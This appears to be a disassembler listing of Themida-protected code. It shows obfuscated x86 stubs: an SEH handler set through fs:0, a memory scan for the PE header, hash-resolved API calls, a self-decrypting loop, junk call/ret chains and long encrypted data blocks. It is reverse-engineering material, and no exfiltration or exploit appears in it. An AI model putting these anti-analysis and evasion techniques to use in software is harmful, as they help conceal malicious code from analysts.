		jmp	loc_5C054F
; ---------------------------------------------------------------------------
		pusha
		mov	ax, ds
		test	al, 4
		jz	loc_5C051B
		push	1
		push	dword ptr [ebp+6140C2Dh]
		lea	eax, [ebp+61778FEh]
		call	eax
		mov	[ebp+6141C45h],	eax
		mov	edi, esi
		shr	edi, 0Ch
		push	20040000h
		push	0
		push	2
		push	edi
		push	1000Dh
		call	dword ptr [ebp+6141C45h]
		jmp	loc_5C054D
; ---------------------------------------------------------------------------


loc_5C051B:				; CODE XREF: Themida_:005C04E0j
		mov	byte ptr [ebp+6140849h], 56h
		push	0A9C530DFh
		push	dword ptr [ebp+6142C65h]
		lea	eax, [ebp+61778FEh]
		call	eax
		mov	[ebp+614138Dh],	eax
		lea	eax, [ebp+6142529h]
		push	eax
		push	20h
		push	5
		push	esi
		call	dword ptr [ebp+614138Dh]


loc_5C054D:				; CODE XREF: Themida_:005C0516j
		popa
		retn
; ---------------------------------------------------------------------------


loc_5C054F:				; CODE XREF: Themida_:005C04D5j
		shl	eax, 6
		mov	edx, 0F0113000h
		sub	edx, 0F0000000h
		add	edx, 14h
		mov	[ebp+6141D21h],	edx
		sub	edx, 14h
		lea	eax, [ebp+6182A5Ch]
		push	eax
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		call	$+5
		pop	eax
		sub	eax, edx
		and	eax, 0FFFFF000h


loc_5C058B:				; CODE XREF: Themida_:005C05ADj
		cmp	word ptr [eax],	5A4Dh
		jnz	loc_5C05A8
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		cmp	dword ptr [edx], 4550h
		jz	loc_5C05B2


loc_5C05A8:				; CODE XREF: Themida_:005C0590j
		sub	eax, 1000h
		jmp	loc_5C058B
; ---------------------------------------------------------------------------


loc_5C05B2:				; CODE XREF: Themida_:005C05A2j
		mov	ecx, eax
		mov	[ebp+61423B5h],	eax
		add	eax, [eax+3Ch]
		movzx	edx, word ptr [eax+6]
		mov	[ebp+6142671h],	edx
		mov	edx, [eax+50h]
		mov	[ebp+61434F5h],	edx
		add	eax, 0F8h
		mov	edx, [eax+0Ch]
		add	edx, ecx
		mov	[ebp+61415C9h],	edx
		add	edx, [eax+8]
		mov	[ebp+6141045h],	edx
		pop	large dword ptr	fs:0
		add	esp, 4
		jmp	loc_5C060B
; ---------------------------------------------------------------------------
		push	ecx
		mov	ecx, [esp+10h]
		sub	dword ptr [ecx+0B0h], 1000h
		pop	ecx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_5C060B:				; CODE XREF: Themida_:005C05F3j
		cmp	dword ptr [ebp+6140CC9h], 0
		jz	loc_5C063C
		mov	byte ptr [ebp+6140849h], 47h
		push	0D49AA7D2h
		push	dword ptr [ebp+6142C65h]
		lea	eax, [ebp+61778FEh]
		call	eax
		push	0
		call	eax
		mov	[ebp+6142AB5h],	eax


loc_5C063C:				; CODE XREF: Themida_:005C0612j
		mov	edx, ebx
		call	near ptr sub_5C064F
		dec	ebx
		cld
		inc	esi
		retf
; ---------------------------------------------------------------------------
		db 62h
; ---------------------------------------------------------------------------
		movsd
		lodsb
		sti
		push	edi
		aam	0CDh
		pop	ebp

; =============== S U B	R O U T	I N E =======================================



sub_5C064F	proc far		; CODE XREF: Themida_:005C063Ep
		add	al, 73h
		pop	edi
		mov	ebx, edx
		add	edi, 73D7h
		mov	ax, 0CFh
		xor	ecx, ecx
		push	eax
		cmc
		pop	eax


loc_5C0664:				; CODE XREF: Themida_:005C06CAj
		mov	edx, [edi+ecx]
		mov	ebx, ecx
		xor	edx, 798ED908h
		pusha
		mov	ebx, 1932C8E2h
		jmp	loc_5C068E
; ---------------------------------------------------------------------------
		mov	edx, 7D5B543Fh
		retf
; ---------------------------------------------------------------------------
		dd 0BFED3A33h, 1F4BF87Fh, 8F2495CBh
; ---------------------------------------------------------------------------
		xor	edx, ebx


loc_5C068E:				; CODE XREF: sub_5C064F+26j
		popa
		add	edx, 6C8E8EDFh
		pusha
		cld
		jge	loc_5C06A1
		mov	dx, 0C0ECh


loc_5C06A1:				; CODE XREF: sub_5C064F+48j
		popa
		xor	edx, 0A236214h
		movzx	eax, cx
		mov	[edi+ecx], edx
		stc
		call	near ptr loc_5C06B8+1
		mov	dh, 7Ch
		push	eax
		das


loc_5C06B8:				; CODE XREF: sub_5C064F+60p
		xor	byte ptr [eax-167CA1D4h], 2
sub_5C064F	endp ; sp-analysis failed

		dec	ecx
		dec	ecx
		adc	bl, 0A9h
		cmp	ecx, 0FFFF8CB4h
		jnz	loc_5C0664
		mov	al, ch
		pusha
		push	0
		push	esi
		call	sub_5C06DE
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C06DE	proc near		; CODE XREF: Themida_:005C06D6p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Dh


loc_5C06EB:				; CODE XREF: Themida_:005C06F2j
		inc	esi
		push	esi
		retn
sub_5C06DE	endp

; ---------------------------------------------------------------------------
		mov	bl, ch
		mov	eax, ecx
		jo	short loc_5C06EB
		xor	eax, 8907C693h
		test	[ecx], eax
		and	edx, [esi+eax]
		mov	eax, eax
		pusha
		sub	edi, 50B42C49h
		movzx	eax, ax
		popa
		cmp	dword ptr [ebp+61410F1h], 0
		jnz	short loc_5C071D
		cmp	dword ptr [ebp+6140E25h], 0
		jz	short loc_5C0736


loc_5C071D:				; CODE XREF: Themida_:005C0712j
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 438h
		mov	[ebp+6141819h],	eax
		lea	ebx, [ebp+616A752h]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5C0736:				; CODE XREF: Themida_:005C071Bj
		cmp	dword ptr [ebp+6140E25h], 0
		jz	short loc_5C0756
		push	eax
		push	ebx


loc_5C0741:				; CODE XREF: Themida_:005C0772j
		mov	eax, 438h
		mov	[ebp+6141819h],	eax
		lea	ebx, [ebp+616A441h]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5C0756:				; CODE XREF: Themida_:005C073Dj
		push	0
		push	esi
		call	sub_5C0761
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C0761	proc near		; CODE XREF: Themida_:005C0759p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 16h
		inc	esi
		push	esi
		retn
sub_5C0761	endp

; ---------------------------------------------------------------------------
		cli
		loop	loc_5C0741
		mov	di, 0F622h
		and	ecx, 2BC4B48Bh
		mov	[ebp+6140CD1h],	esi
		mov	eax, eax
		push	0
		push	edi
		call	sub_5C0791
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C0791	proc near		; CODE XREF: Themida_:005C0789p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 17h
		inc	edi
		push	edi
		retn
sub_5C0791	endp

; ---------------------------------------------------------------------------
		db 0D0h, 0DFh, 6Ch
; ---------------------------------------------------------------------------
		mov	dl, 1
		xchg	eax, ebp
		xor	[ebx], edx
		adc	al, 6
		call	sub_5C1110
		push	0
		push	ebp
		call	sub_5C07BB
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C07BB	proc near		; CODE XREF: Themida_:005C07B3p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 14h
		inc	ebp
		push	ebp
		retn
sub_5C07BB	endp

; ---------------------------------------------------------------------------
		dec	edx
		or	[ebp+614167Dh],	ecx
		mov	[ebp+6140ECDh],	eax
		jnz	$+6
		call	sub_5C1110
		push	0
		push	ebp
		call	sub_5C07EE
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C07EE	proc near		; CODE XREF: Themida_:005C07E6p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 19h
		inc	ebp
		push	ebp
		retn
sub_5C07EE	endp

; ---------------------------------------------------------------------------
		dw 0C326h
		dd 0C172EDFFh, 658589F8h, 9061426h, 141CE98Dh, 0EE806h
		dd 28C30000h, 97ED427Ch, 5335B7EFh, 32F05B29h, 12E8h, 9B109900h
		dd 0C62C9B16h, 301A782Ah, 8DAD982Eh, 0E9DAD783h, 7, 0DE20E048h
		dd 5E8CD68Ch, 8C2E85Fh,	870F0000h, 17h,	12E9h, 6FE55F00h
		dd 0CC5063E4h, 68FAE62Bh, 41C83024h, 89E699DBh,	14129D85h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1904h
		dd 0C3534300h, 49CFBD9Ch, 13E84E23h, 0A6000000h, 0AAF08318h
		dd 7EEED8B1h, 39EAE3A8h, 3837A3CAh, 10E90686h, 0A5000000h
		dd 1053A66Bh, 779A70F5h, 8F0D988Eh, 5F6E0A80h, 84BE8h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1A04h
		dd 0C3574700h, 0DCC8C5B2h, 89AFB719h, 140E219Dh, 11858906h
		dd 5106141Dh, 7E9h, 0D3762600h,	3D9FD631h, 80AE85Eh, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 6069CEC3h, 0BC158A68h, 2F9DBD89h, 0BD8B0614h, 6140FEDh
		dd 80D8589h, 6A0614h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1D0424h, 53430000h, 7DEC0EC3h, 505914E6h, 899F8522h
		dd 142A4DB5h, 7A6E806h,	0C9800000h, 55858979h, 6A06140Dh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 19042444h
		dd 47000000h, 35B7C357h, 0F05B2953h, 183AF0BFh,	772E85Fh
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
		dd 53430000h, 0C8C7CC3h, 6E8B9F2h, 0F6000000h, 0C9170E1Ah
		dd 45BD8914h, 5F06140Eh, 1C3D8589h, 6A0614h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 140424h, 50400000h, 0B58BC9C3h
		dd 614064Dh, 713E8h, 56006A00h,	3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1904h, 0C3564600h, 0F70B07Ah, 95890F9Ch
		dd 6140979h, 0A07ABF66h, 11C98589h, 6A0614h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 160424h, 52420000h, 633BAEC3h
		dd 6BFE8h, 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h
		dd 1704h, 0C3534300h, 756B429Ah, 0CB6BF66h, 0E1D8589h
		dd 6A0614h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h
		dd 51410000h, 8769DFC3h, 954214F1h, 66EE8D5h, 81660000h
		dd 89600CD7h, 14238985h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1504h, 0C3524200h, 0EE813641h, 4364D4CDh
		dd 6D9BD89h, 35E80614h,	6A000006h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 67EFC356h
		dd 0A05AC353h, 0DC86DEDAh, 6E8h, 0AA706500h, 0E961EF31h
		dd 11h,	4A8ED918h, 0D81845A4h, 0A52FDB7Fh, 88912617h, 85895971h
		dd 61404B1h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 17h,	0F9C35242h, 6643F847h, 0E85752BEh, 5C0h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 18h, 0BFC35040h, 7768E386h
		dd 25018589h, 0BF660614h, 91E8CC44h, 6A000005h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
		dd 0C418C353h, 253D8509h, 85890614h, 614074Dh, 618589h
		dd 8D890614h, 6142E19h,	557E8h,	89FA8B00h, 140D0985h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1504h, 0C3554500h
		dd 85295F7Ch, 6140191h,	527E8h,	52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 3D931AEDh
		dd 1D4049DAh, 0D05B501h, 85890614h, 6140499h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 18h, 6BC35040h, 0F38255E9h
		dd 12E8h, 3803DF00h, 5E381FC2h,	91EEB546h, 0C6A5FC80h
		dd 89523CB1h, 14088DBDh, 95895E06h, 6141371h, 6E9h, 0EE1B2600h
		dd 0E82E741Fh, 4A4h, 85897DB1h,	6140E15h, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 17h, 0D4C35646h, 6684618Fh
		dd 0B03667B9h, 95858900h, 0F061431h, 6AD8B6h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 0BFFCF2C3h
		dd 0E42026B4h, 31B50132h, 0BA061434h, 6, 0FE9h,	0F8A08800h
		dd 0E3EBAA02h, 24E6CDFFh, 444E1026h, 810FC38Bh,	5, 0DFDEA3BEh
		dd 4E8C15Ch, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 16h,	0B2C35646h, 8D8B4BEBh, 6140A2Dh, 2BE2F766h, 0FA8B93D8h
		dd 11B96650h, 6A936Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 160424h, 56460000h, 189F2C3h, 0FFCA8B66h, 14121195h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1904h
		dd 0C3524200h, 0FEACD2BDh, 0BD89AAACh, 6141025h, 50006A5Bh
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1D04h, 0C3504000h
		dd 30BC6E84h, 0D8895B90h, 0BF0F9156h, 1958DF7h,	6A061413h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1A042444h
		dd 45000000h, 0AEE9C355h, 58F38A6h, 58A0F49h, 0BF000000h
		dd 7F39EE58h, 6A1A89h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 150424h, 53430000h, 0F0AE6C3h, 68Eh,	59958900h, 0F9061408h
		dd 89044289h, 142D6D8Dh, 65958D06h, 6A061406h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
		dd 3101C357h, 1545BD89h, 8D8B0614h, 61408DDh, 6A1A89h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 79262FC3h, 42898FB7h, 55006A04h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1C04h, 0C3554500h, 7CE7DB37h, 6A85BF93h
		dd 8DF88B9Ch, 1425B595h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1904h, 0C3564600h, 0F4BF3C4Ch, 1A8922D9h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 70C35343h
		dd 0BF66644Eh, 813A0F7Eh, 0B800F7Eh, 0E9000000h, 6, 81500EDDh
		dd 428990B4h, 50006A04h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1C04h, 0C3504000h, 5E077E87h, 9F8E949Bh, 95296025h
		dd 6141359h, 87DBD8Bh, 89610614h, 140DEDBDh, 0DD958D06h
		dd 6A061407h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 18042444h, 43000000h, 7B66C353h, 11A6583h, 1404658Dh
		dd 661A8906h, 4289CB8Bh, 56006A04h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1404h, 0C3564600h, 89D2B5E5h, 140DD995h
		dd 0A1958D06h, 6A06142Dh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1C042444h, 43000000h, 159AC353h, 866F578Ch
		dd 8993DB13h, 140021BDh, 6A1A8906h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 350EC351h
		dd 44289D4h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Bh,	0A0C35242h, 0DFCE2C63h,	0B546F3DAh, 0F1958D43h
		dd 6A061402h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 16042444h, 42000000h, 0D64AC352h, 6A1A89E2h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
		dd 0A126C352h, 0C681D266h, 380CFDA7h, 89044289h, 141CE59Dh
		dd 0B5958D06h, 6A061416h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1D042444h, 47000000h, 4768C357h, 0C3D84C61h
		dd 891A609h, 14E95951h,	47000000h, 23803EBEh, 361C89B7h
		dd 0B882B891h, 908A751Dh, 89194A15h, 50006A1Ah,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 0DAE9E6A8h
		dd 16C4C85Dh, 4289D6FEh, 53006A04h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1804h, 0C3534300h, 82E10356h, 0A1952907h
		dd 8D061424h, 1409D595h, 0C4F18106h, 8932E25Dh,	55006A1Ah
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1904h, 0C3554500h
		dd 87D89017h, 428910F6h, 0C5E904h, 0DE810000h, 286F7091h

; =============== S U B	R O U T	I N E =======================================



sub_5C1110	proc near		; CODE XREF: Themida_:005C07ABp
					; Themida_:005C07DEp
		push	0
		push	0
		push	eax
		call	sub_5C111D
		and	[eax-3Dh], bl
sub_5C1110	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5C111D	proc near		; CODE XREF: sub_5C1110+5p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 19h
		inc	eax
		push	eax
		retn
sub_5C111D	endp

; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		dw 58C7h
		dd 89601D85h, 142AF19Dh, 0F88B6606h, 9E8006Ah, 3C000000h
		dd 72066A87h, 956ECF2Ch, 1F11B58Bh, 6A590614h, 29BD8B00h
		dd 6A061412h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1C04h, 0C3574700h, 753A6BB9h, 0B1197E41h, 7195FFEDh
		dd 6A061409h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 0A075C355h, 0BB81C1AFh, 0AACED18Dh
		dd 50006AC3h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1904h
		dd 0C3504000h, 6B45F06h, 8AF93914h, 51006AC5h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1704h,	0C3514100h, 7C64CCFBh
		dd 7798D8Bh, 0BD2B0614h, 614031Dh, 14E9C08Bh, 79000000h
		dd 8BE9A93Eh, 0C345F106h, 74AF2D24h, 0CA4EFE3Eh, 83F40132h
		dd 1410F1BDh, 9750006h,	0E25BD83h, 74000614h, 8B535019h
		dd 438B8C0h, 85890000h,	61424F1h, 0A7B99D8Dh, 0D3FF0616h
		dd 0BD83585Bh, 6140E25h, 50177400h, 438B853h, 85890000h
		dd 61424F1h, 0A45A9D8Dh, 0D3FF0616h, 6A585Bh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 180424h, 53430000h, 99854CC3h
		dd 0B5892E98h, 61411A1h, 19C9BD8Bh, 66600614h, 0E9B3CAB9h
		dd 0Eh,	0F1C57586h, 8C385D4Ah, 0D8E3F668h, 8B618160h, 91858DC0h
		dd 8B061407h, 0BE850D9h, 0E0000000h, 0C89BB23Eh, 3E0D4142h
		dd 8A0FC2D5h, 0
; ---------------------------------------------------------------------------
		pop	ebx
		mov	[esp], eax
		jmp	loc_5C12DD
; ---------------------------------------------------------------------------
		db 0E1h, 7Eh, 0B9h
		dd 6F154FB7h, 0FA5B4B54h
		db 8Bh
; ---------------------------------------------------------------------------


loc_5C12DD:				; CODE XREF: Themida_:005C12CCj
		push	0
		push	0
		push	esi
		call	sub_5C12EA
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C12EA	proc near		; CODE XREF: Themida_:005C12E2p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 18h
		inc	esi
		push	esi
		retn
sub_5C12EA	endp

; ---------------------------------------------------------------------------
		dw 9AF3h
		dd 60DEB088h, 38D0Fh, 0BF0F0000h, 0F59D01FEh, 6106141Fh
		dd 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h
		dd 57470000h, 0F837E3C3h, 0FAF0B3D3h, 8B5CA552h, 140F959Dh
		dd 3D9D8B06h, 8D06142Bh, 18393985h, 0FAB70F06h,	83FBB70Fh
		dd 6A05C0h, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h
		dd 50400000h, 886966C3h, 124D8529h, 8B660614h, 800F50F8h
		dd 5, 914FC3BBh, 2404894Eh, 0E850006Ah,	3, 58C35820h, 4244489h
		dd 4244481h, 18h, 13C35040h, 733905BFh,	0F88B006Ah, 6A006Ah
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
		dd 6FF232C3h, 0F800F2Bh, 0E9000000h, 0Ah, 244A0E57h, 0A6D57A0Ah
		dd 0BB66D195h, 95FF2D29h, 6141B19h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 15h, 8DC35040h, 788D8DBBh, 6A0617A7h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 16042444h
		dd 43000000h, 0C6ABC353h, 6AD1FFEFh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 0FC23C355h
		dd 0D3D87CFEh, 483E3613h, 1A899589h, 0BD830614h, 61401CDh
		dd 6E850F01h, 89000000h, 1416D995h, 6A026A06h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
		dd 11B9C353h, 0C84370Fh, 0A59D03CAh, 90061430h,	0D9BF6652h
		dd 0F505BEBh, 0B8Ah, 0BB525000h, 2CE425A3h, 585A310Fh
		dd 71958990h, 0FF06142Eh, 1433AD95h, 13E906h, 13F20000h
		dd 0A79DCB87h, 950B6D39h, 0A29551E4h, 0C3C64727h, 0DB4E95Fh
		dd 0E80000h, 5D000000h,	3943ED81h, 6A0618h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 180424h, 53430000h, 13ED46C3h
		dd 8D01C768h, 6140E0Dh,	8E8h, 8160D800h, 0B2AFFB24h, 698D0922h
		dd 5B06141Bh, 8E49858Dh, 9D8B0617h, 6140CD1h, 93BB6690h
		dd 64905095h, 35FFh, 0BF0F0000h, 258964DBh, 0
; ---------------------------------------------------------------------------
		mov	[ebp+6140495h],	esi
		inc	dword ptr [ebp+6142DEDh]
		push	0
		push	ebp
		call	sub_5C155B
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C155B	proc near		; CODE XREF: Themida_:005C1553p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 15h
		inc	ebp
		push	ebp
		retn
sub_5C155B	endp

; ---------------------------------------------------------------------------
		push	cs
		xchg	eax, esp
		push	0FFFFFFFFh
		and	bx, 0DA12h
		push	dword ptr [ebp+6140ECDh]
		push	0
		push	edi
		call	sub_5C1585
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C1585	proc near		; CODE XREF: Themida_:005C157Dp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ah
		inc	edi
		push	edi
		retn
sub_5C1585	endp

; ---------------------------------------------------------------------------
		db 28h,	61h, 0EFh
		dd 139038D1h, 5850Fh, 0F0BF0000h, 0FF584F78h, 142A8995h
		dd 127E906h, 9D230000h,	6140AF5h, 6830Fh, 0BD8B0000h, 61408A1h
		dd 9D0100B0h, 614087Dh,	9D0B70E6h, 61402FDh, 613C71E4h
		dd 0FB830Fh, 0FEB30000h, 29C8B60Fh, 1406858Dh, 6BA06h
		dd 11E90000h, 0CF000000h, 0FF159F7Eh, 0C0EDB50Fh, 85A17723h
		dd 6B829D9Ch, 0B753C18Bh, 0E8C15BF2h, 6619B704h, 8F0FE2F7h
		dd 3, 2BFFB70Fh, 5DBD0BC8h, 8B061420h, 0BF0F53D1h, 0CBBF5FDFh
		dd 0E951B3CDh, 2, 858BF88Bh, 6141301h, 5E9h, 0E39F1C00h
		dd 0C0835493h, 81666007h, 0F9AB27E7h, 0C08361h,	3B3CDB80h
		dd 11830FD0h, 8B000000h, 142B759Dh, 6FE906h, 0BD8B0000h
		dd 6141E81h, 10C58D8Bh,	840F0614h, 6, 0D0DBD03h, 81660614h
		dd 83BAECDFh, 840F01E1h, 49h, 5E9h, 386E4800h, 0A5839687h
		dd 61410C5h, 896060FEh,	140EED95h, 800F06h, 61000000h
		dd 0D357BA66h, 1958961h, 0E9061413h, 14h, 0F90882E8h, 0D2E04AE2h
		dd 8E19A5D1h, 0F39B5B8Ah, 0B35DA7B1h, 0E9h, 0ECB58D00h
		dd 6A0617BEh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1B042444h, 41000000h, 0F49FC351h, 14DBB6F9h,	0D98B0E7Ch
		dd 9D2B006Ah, 6141C51h,	297195FFh, 89600614h, 14259D85h
		dd 0CBBF0F06h, 6ECB961h, 9D8B0000h, 61423D5h, 6AFCE183h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 16042444h
		dd 43000000h, 5A63C353h, 0F3815040h, 7003F211h,	6AFC5Fh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 606DEEC3h, 5E957h, 0B8D60000h, 5A2B7811h, 6181C080h
		dd 2157BF66h, 0EBB3C02Bh, 0DF81D22Bh, 15743132h, 0DFBF0F56h
		dd 0C233AD5Fh, 0D003E8D1h, 7504E983h, 11E9F4h, 52B00000h
		dd 0B4E01C53h, 0C41B24A1h, 0D30466BBh, 6A21109Fh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
		dd 6B1CC352h, 0F4AA85FFh, 8B9CE39Ah, 141021BDh,	81BD8906h
		dd 0D06142Eh, 88h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 15h, 30C35747h, 4BF6693h, 69958BF4h, 6A06142Bh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1A042444h
		dd 46000000h, 2287C356h, 0EF47EA2h, 558D8BC9h, 6A061410h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 19042444h
		dd 43000000h, 603DC353h, 0CAC985FCh, 89F9BF0Fh,	141985BDh
		dd 0C28B5006h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 6A58188Bh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1A042444h
		dd 43000000h, 122AC353h, 0E55827EDh, 0ACEB8172h, 8B209846h
		dd 4DBD83DFh, 6140Fh, 70840Fh, 6A0000h,	3E850h,	58200000h
		dd 448958C3h, 44810424h, 1B0424h, 50400000h, 28637CC3h
		dd 151CD69Ch, 0B8F5BEh,	8A000000h, 0FF8D8DF9h, 0E906144Dh
		dd 14h,	0C3FC76B9h, 208762CDh, 0E68748BFh, 0D7450D1Eh
		dd 9649183Ch, 1FED8D89h, 0E1FF0614h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 16h, 81C35545h, 0BD836C6Ch, 614013Dh
		dd 7F840F00h, 8B000004h, 1415219Dh, 3DBD8306h, 1061401h
		dd 487840Fh, 0AE80000h,	0FE000000h, 0E6D53ACBh,	14D4E07Ch
		dd 5FB0B7E7h, 13DBD83h,	0F030614h, 43286h, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h
		dd 4B6A8AE7h, 0BD094721h, 61409BDh, 56006A60h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 0CD5292D8h
		dd 96123D9Bh, 3015BD89h, 8C660614h, 3820FD9h, 66000000h
		dd 0E180D98Bh, 0F9BF0F04h, 840FC90Ah, 148h, 8BD5C780h
		dd 140E3585h, 2DBD3306h, 3306140Ah, 1406A985h, 55BD2306h
		dd 90061404h, 4860Fh, 0BF660000h, 505031D5h, 0D98B6652h
		dd 0B060310Fh, 0EE86Ah,	0BA660000h, 2F3AE590h, 38D80B4Ah
		dd 804BAB41h, 585A615Fh, 56006A90h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1D04h, 0C3564600h, 111CB279h, 0D5F41BF4h
		dd 6AFCC5B0h, 870F5000h, 5, 89F38166h, 68685BF6h, 8132A05Fh
		dd 5C972434h, 6A32BFh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1C0424h, 52420000h, 178970C3h, 0D5FF3BDAh, 870FB009h
		dd 6, 1FDD9D0Bh, 95FF0614h, 614089Dh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 17h, 55C35040h, 89659836h, 142E5D85h
		dd 11E906h, 57520000h, 73C01D25h, 0BFFB94F6h, 5BBC477Dh
		dd 89EB8D05h, 17A7EA85h, 0CE906h, 0D0F0000h, 0D0FF502Ch
		dd 61D1D69Bh, 0DF8153B6h, 247F2863h, 1FFE9h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1D04h, 0C3514100h
		dd 9C8447D5h, 0DC5C6752h, 9D03906Dh, 6140E21h, 0A7E2858Bh
